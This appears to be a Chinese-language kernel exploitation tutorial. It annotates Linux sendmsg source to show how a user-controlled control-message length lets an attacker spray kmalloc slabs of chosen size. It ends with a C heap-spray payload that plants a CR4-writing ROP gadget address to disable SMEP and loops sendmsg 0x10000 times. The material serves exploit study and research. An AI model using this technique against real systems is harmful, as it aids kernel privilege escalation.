利用 sendmsg 进行堆喷

源码: https://elixir.bootlin.com/linux/latest/source/net/socket.c#L2392

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
ssize_t err;

msg_sys->msg_name = &address;

// 函数贴下面了 msg_sys 里面已经是可控的用户空间参数了
err = sendmsg_copy_msghdr(msg_sys, msg, flags, &iov);
if (err < 0)
return err;

// 函数也在下面
err = ____sys_sendmsg(sock, msg_sys, flags, used_address,
allowed_msghdr_flags);
kfree(iov);
return err;
}


int sendmsg_copy_msghdr(struct msghdr *msg,
struct user_msghdr __user *umsg, unsigned flags,
struct iovec **iov)
{
int err;

if (flags & MSG_CMSG_COMPAT) {
struct compat_msghdr __user *msg_compat;

msg_compat = (struct compat_msghdr __user *) umsg;
err = get_compat_msghdr(msg, msg_compat, NULL, iov);
} else {
// 主要是这个分支
err = copy_msghdr_from_user(msg, umsg, NULL, iov);
}
if (err < 0)
return err;

return 0;
}


static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
unsigned int flags, struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
/* ctl数组 大小0x2c 在栈上 */
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t));
/* 20 is size of ipv6_pktinfo */
unsigned char *ctl_buf = ctl;
int ctl_len;
ssize_t err;

err = -ENOBUFS;

if (msg_sys->msg_controllen > INT_MAX)
goto out;
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
// 主要看这个分支 ctl_len 和 flags 均可控, 进这个分支,不成问题
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) {
// 这里就直接调用kmalloc了
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out;
}
err = -EFAULT;
if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
msg_sys->msg_control_is_user = false;
}
msg_sys->msg_flags = flags;

if (sock->file->f_flags & O_NONBLOCK)
msg_sys->msg_flags |= MSG_DONTWAIT;
/*
* If this is sendmmsg() and current destination address is same as
* previously succeeded address, omit asking LSM's decision.
* used_address->name_len is initialized to UINT_MAX so that the first
* destination address never matches.
*/
if (used_address && msg_sys->msg_name &&
used_address->name_len == msg_sys->msg_namelen &&
!memcmp(&used_address->name, msg_sys->msg_name,
used_address->name_len)) {
err = sock_sendmsg_nosec(sock, msg_sys);
goto out_freectl;
}
err = sock_sendmsg(sock, msg_sys);
/*
* If this is sendmmsg() and sending to current destination address was
* successful, remember it.
*/
if (used_address && err >= 0) {
used_address->name_len = msg_sys->msg_namelen;
if (msg_sys->msg_name)
memcpy(&used_address->name, msg_sys->msg_name,
used_address->name_len);
}

out_freectl:
if (ctl_buf != ctl)
sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out:
return err;
}


void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
{
if ((unsigned int)size <= sysctl_optmem_max &&
atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {
void *mem;
/* First do the add, to avoid the race if kmalloc
* might sleep.
*/
atomic_add(size, &sk->sk_omem_alloc);
mem = kmalloc(size, priority);
if (mem)
return mem;
atomic_sub(size, &sk->sk_omem_alloc);
}
return NULL;
}
EXPORT_SYMBOL(sock_kmalloc);

总结一下:

  • msg_sys 从用户空间拷贝信息
  • ctl_buf 默认是大小是 44 (0x2c)
  • 由于 msg_sys->msg_flagsmsg_sys->msg_controllen 均可控, 可以随意进入
  • 最后通过 sock_kmalloc 触发 kmalloc, 并且执行 copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)
  • 从而 kmalloc 0x2c 以上任意大小的 slab 堆块

攻击 堆喷 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

// 这里是 overlap 的 area 的内容 原文的填充是0x43
memset(buff, 0x43, sizeof buff);
*((unsigned long long*)(&buff[0x38])) = 0x6f0;
*((unsigned long long*)(&buff[0x40])) = calc(0xffffffff81070790); // push rbp; mov rbp,rsp; mov cr4,rdi; pop rbp; ret;
// gadget has to save rbp then pop

addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

/* This is the data that will overwrite the vulnerable object in the heap */
msg.msg_control = buff;

/* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);

for(int i = 0; i < 0x10000; i++) {
sendmsg(sockfd, &msg, 0);
}

参考: